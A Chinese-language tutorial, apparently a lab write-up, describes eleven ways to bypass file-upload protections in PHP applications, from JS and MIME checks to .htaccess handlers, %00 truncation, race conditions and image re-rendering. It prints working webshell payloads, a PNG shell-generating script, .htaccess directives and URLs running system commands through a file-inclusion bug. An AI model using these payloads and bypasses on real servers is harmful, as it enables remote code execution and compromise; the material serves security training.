1、前端js检查
防护手段
这种防止恶意文件上传的方法是在前端的网页中写一段JavaScript脚本,对其检查上传的后缀。
防护代码
在该段代码中用JavaScript定义了一个前端的白名单
绕过方法
1、抓包
因为是前端验证,所以我么可以利用bp抓包。绕过前端的验证,我们可以先把我们的shell文件修改为白名单中的后缀,然后进行修改成php等后缀。
这样就绕过前端的限制了
2、禁用js
因为使用js来校验文件后缀的,所以我们可以直接在浏览器上禁用js,这样就可以直接上传文件了。Chrome 内核的浏览器在审查元素的状态下可以找到 Settings 选项,然后找到 「Debugger」 选项下面直接勾选 「Disable JavaScript」即可。
2、检查MIME类型
防护手段
这种防止恶意文件上传的方法是在服务端检查content-type的类型。
防护代码
该代码是在服务端创建了一个白名单,检查content-type是否在白名单内。
绕过方法
因为是检查content-type所以我们对content-type进行修改,修改成白名单内的类型即可。
3、服务端代码缺陷(黑名单不严谨)
防护手段
这种防止恶意文件上传的方法是在服务端创建黑名单,在黑名单中就会被拒绝上传。
防护代码
这里先创建了一个$deny_ext的黑名单,然后把上传的文件名的后缀截取下来与黑名单中作比较,在黑名单里面就返回不允许上传。
绕过方法
我们可以利用apache的解析漏洞来进行绕过,我们发送畸形数据包,因为默认情况下 Apache 把 phtml、pht、php、php3、php4、php5 解析为 php,所以我们可以抓包修改后缀进行绕过。
4、服务端代码缺陷(大小写绕过)
防护手段
这种防止恶意文件上传的方法是在服务端创建黑名单,在黑名单中就会被拒绝上传。
防护代码
可以看到这里黑名单全面了不少,然是下方的代码中没有把后缀替换成小写的操作
绕过方法
我们可以大写的后缀名字来进行绕过,上传info.PHP文件
5、服务端代码缺陷(没有过滤::$DATA)
防护手段
这种防止恶意文件上传的方法是在服务端创建黑名单,在黑名单中就会被拒绝上传。
防护代码
可以看上上述代码没有过滤'::$DATA'字符串
绕过方法
NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。上传.php::$DATA绕过。
6、.htaccess导致错误的文件解析
什么是.htaccess
.htaccess文件(或者"分布式配置文件"),全称是HypertextAccess(超文本入口)。提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。通过.htaccess文件可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特点用户或者目录的访问、禁止目录列表、配置默认文档等功能。管理员可以通过 Apache 的 AllowOverride 指令来设置。
防护手段
这种防止恶意文件上传的方法是在服务端创建黑名单,在黑名单中就会被拒绝上传。只不过这次黑名单内的过滤更全面,我们已经无法用畸形的扩展名进行绕过了。
防护代码
绕过方法
上传.htaccess文件进行绕过
前提条件
1.mod_rewrite模块开启。
2.AllowOverrideAll
利用方法
经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行
1、SetHandler 指令
# 将所有后缀 当做 PHP 执行
SetHandler application/x-httpd-php
2、AddType
# 将 .png当做 PHP 文件解析
AddType application/x-httpd-php .png
知道上述两种利用方法,那我们就可以先创建一个.htaccess的文件填写上上述两种方法中任意一个进行上传。
这里有个小tip要把.htaccess文件前面的文件名删掉
然后我们在把我们的php文件修改黑名单中允许的的后缀名进行上传
因为我们上传了一个bypass.htaccess文件会把所有png的后缀解析成php
7、00截断
防护手段
这种防止恶意文件上传的方法是在服务端创建白名单,只有在白名单中就后缀才会被允许上传上传。这种白名单的过滤方法相对于黑名单要更安全。
防护代码
这里定义一个白名单只允许上传.jpg、.png、.gif后缀的文件,代码流程为先创建了一个白名单,再把我们上传的文件后缀给取出来,如果再白名单内就会被允许上传。
绕过方法
因为这里直接把后缀拼接到$img_path,且save_path这个参数是可控的,所以我们可以利用%00进行截断从而进行绕过。
00截断原理
因为php的内核是由c语言实现的,所以php中会有一些c语言的特性。比如再字符串进行连接的时候,0字节(\x00)就会被作为字符串结束符。我们传递一个类似".php%00.png"后缀文件,%00后面的东西就会被php内核默认丢掉,但是我们的服务端代码很好骗,它只看最后的后缀,后缀是他白名单中允许的它就允许通过,最后php解析导致绕过成功。
00截断利用条件
1、magic_quotes_gpc = off
2、php版本小于5.3.4
这里我们可以看到save_path会和.file_ext进行拼接,那我们在save_path传一个info.php%00,对后面的filename进行截断。
这种可控参数是以get进行传递的,还有用post进行传递的,代码如下
这种绕过方法也一样,但是有一个小tip我们要手动进行解码一下
8、图片码配合其他漏洞
防护手段
这种防止恶意文件上传也是类似于白名单的方法,首先读取二进制文件的前两个字节,因为二进制文件的前两个字节不同代表着不同的文件类型,用不同的二进制来判断是哪一种文件,在白名单中则允许上传。
防护代码
绕过方法
我们可以通过上传图片马进行绕过,但是需要注意的是,我们的图片马上传了还需要进行正常的php等后缀的解析,不然无法发挥作用。当然想让我们的图片马正常解析,我们就必须需要搭配一些其他如文件包含、中间件的解析漏洞等来进行正确的解析方式。
eg:该环境是利用了文件包含让其正常php解析
1、首先我们先制作一个图片马
copy info.jpg/b + info.php/a 2.jpg
2、进行上传我们制2.jpg图片马
3、利用文件包含进行php解析
9、条件竞争
防护手段
该种防护手段是先把图片进行上传,在把文件后缀截取下来与白名单进行比较,如果不在白名单中该文件就会被删除。
防护代码
绕过方法
在程序 发生一些不受控制的事件并没有按照开发者想的进行下去,那么这个程序可能就会产生bug。尤其在我们进行大量的资源共享,处理不当,就会产生竞争漏洞。所以我们可以通过上传一个恶意shell文件,在上传完成和安全检查完成并删除它之间这个间隙,我们在通过工具上传大量的访问请求,这样就会导致竞争漏洞的触发。
1、首先我们抓包
2、发送到暴力破解模块种,重复发包
3、最后不断刷新网页
10、move_uploaded_file 缺陷
防护手段
这种防止恶意文件上传的方法是在服务端创建黑名单,在黑名单中就会被拒绝上传。
防护代码
绕过方法
move_uploaded_file($temp_file, $img_path)
当 $img_path 可控的时候,还会忽略掉 $img_path 后面的 /. ,这一点发现最早是 Smile 师傅于 2019 年 2 月份提出来的,TQL !!!既然知道 move_uploaded_file 的这个小缺陷的话,这样既可直接 Getshell:
11、二次渲染
二次渲染复现较为复杂,找到一篇国光大佬复现的文章,小编就偷懒去了。
原文:https://www.sqlsec.com/2020/10/upload.html#toc-heading-17
imagecreatefrom
系列渲染图片都可能被绕过,有些特殊的图马是可以逃避过渲染的,另外这一题我特意还给了查看提示的按钮:
点击这个查看提示会出现如下页面:
注意 URL 发生了变化,没错这里是一个文件包含漏洞,这样包含选手们逃避渲染上传后的图片的话就可以直接 getshell 了:
接下来要总结一下二次渲染的细节了,这也是耗费时间写本文的主要动力之一,因为上面的那些知识点都比较常规,这个二次渲染的细节国光我一直都没有深入总结过,正好就放这里总结一下。
GIF
渲染前后的两张 GIF,没有发生变化的数据库部分直接插入 Webshell 即可
首先准备一张迷你的 GIF
然后上传到目标网站上面渲染一下再导出:
使用 010Editor 打开这两个文件,在 「Tools」选项下面找到「Compare Files」即可对比两个文件内容:
对比的效果如下,其中灰的部分就是内容一致的部分:
那么只需要将 PHP 代码插入到灰色的部分即可:
修改后的 gif 图片如下:
然后上传到目标网站上面渲染一下再导出:
此时查看一下发现我们的 payload 内容依然存在:
PNG
PNG 没有 GIF 那么简单,需要将数据写入到 PLTE 数据块 或者 IDAT 数据块。首先准备一个 PNG 图片:
两次渲染后对比一下,发现除了 PNG 文件头,其他部分全都不一致:
看来使用 GIF 那种思路是行不通的了。PNG 的解决方法继续往下面看。
写入 PLTE 数据块
关于实现细节以前乌云知识库的一篇文章写的很详细,感兴趣的朋友可以阅读看看:
WooYun 乌云 - php imagecreatefrom* 系列函数之 png
写入 PLTE 数据块并不是对所有的 PNG 图片都是可行的,实验证明只有索引图像才可以成功插入 payload,灰度和真彩色图像均以失败告终。
修改索引图像插入 PHP 代码的脚本项目地址为:Github - poc_png.py
因为值有索引图像的 PNG 才可能插入 PLTE 数据块,但是我们上面准备的 PNG 并不符合要求,得需要在 PS 里面将图片模式修改为索引颜色:
修改的索引图片如下:
然后使用 Python2 运行脚本:
bash
python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png old.png
生成新的 gg_shell.png 图片如下:
这个图片是带 payload 的:
然后上传到目标网站上面渲染一下再导出:
来检测一下我们的 payload 是否还存在了:
哎貌似不对劲:
这个字符串被渲染后貌似是顺序有点奇怪。这里国光踩了很多坑,查了很多资料网上都没有好的解决方案,最后国光将这个被目标网站渲染后的图片再上传渲染,下面是渲染后的图片:
赶紧来查看一下里面是否包含图马信息:
阿这!居然成功了,真的是功夫不负有心人呐,不枉国光我周末大半夜的在公司加班写的这篇文章了!!!泪目
写入IDAT数据块
PNG 也是可以写入 IDAT 数据来绕过渲染的,由于快 23.00 了国光没有多余的时间研究里面细节了,这里直接引用了先知里面提供的一个脚本:
php
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./shell.png'); ?>
直接运行生成会在脚本目录下生成 shell.png 图片,下面是生成好的 图片:
其内容如下:
然后上传到目标网站上面渲染一下再导出:
查看一下里面的 payload 是否还存在:
依然存在的,成功绕过渲染 ,这里顺便提一下这个 shell 的使用方法,下面就不再补充了。
首先获取图片的上传地址为:
none
http://vul.xps.com:30010/upload/357481464.png
利用网站本身的文件包含漏洞,尝试直接包含这个图马 :
bash
http://vul.xps.com:30010/?file=./upload/357481464.png
貌似成功了,执行命令看看:
none
http://vul.xps.com:30010/?0=system&file=./upload/357481464.png
POST 内容如下:
bash
1=cat /f14a4a4a4a444g
JPG
JPG 也需要使用脚本将数据插入到特定的数据库,而且可能会不成功,所以需要多次尝试。
这个脚本 Github 搜索一下很多项目都有这个脚本,这里国光就随便搜索拿了搜索结果第一个的项目放在本文中。
项目地址:Github - lackFan/jpg_payload
准备一个 jpg 图片:
然后上传到目标网站上面渲染一下再导出:
接着使用脚本来插入 payload,如果想要修改默认 payload 的话,自行修改脚本中的下部分代码:
php
$miniPayload = '<?php phpinfo();?>';
然后运行脚本插入 payload:
bash
$ php jpg_payload.php 122728342.jpg Success!
生成的新图片为:
然后上传到目标网站上面渲染一下再导出:
那么来查看一下最终这个 JPG 里面是否带有 payload 信息:
无疑写 phpinfo() 是很容易成功的,但是 phpinfo() 并无实质性危害,我们需要插入真正的 webshell 才可以:
php
$miniPayload = '<?php $_GET[0]($_POST[1]);?>';
这里非常玄学,在国光经历了不知道多少次失败后,才成功将上面的 payload 完整插入
这个图马被 imagecreatefromjpeg 渲染后如下:
查看一下 payload 是否存在:
完美,尝试直接文件包含来执行攻击语句试试看:
JPG 坑点总结
- 需要被 imagecreatefromjpeg 渲染或再用工具
- 图片找的稍微大一点 成功率更高
- Payload 语句越短成功率越高
- 一张图片不行就换一张 不要死磕
- 国光补充:貌似白色的图片成功率也比较高
<?php $_GET[0]($_POST[1]);?>
这种payload 成功率很高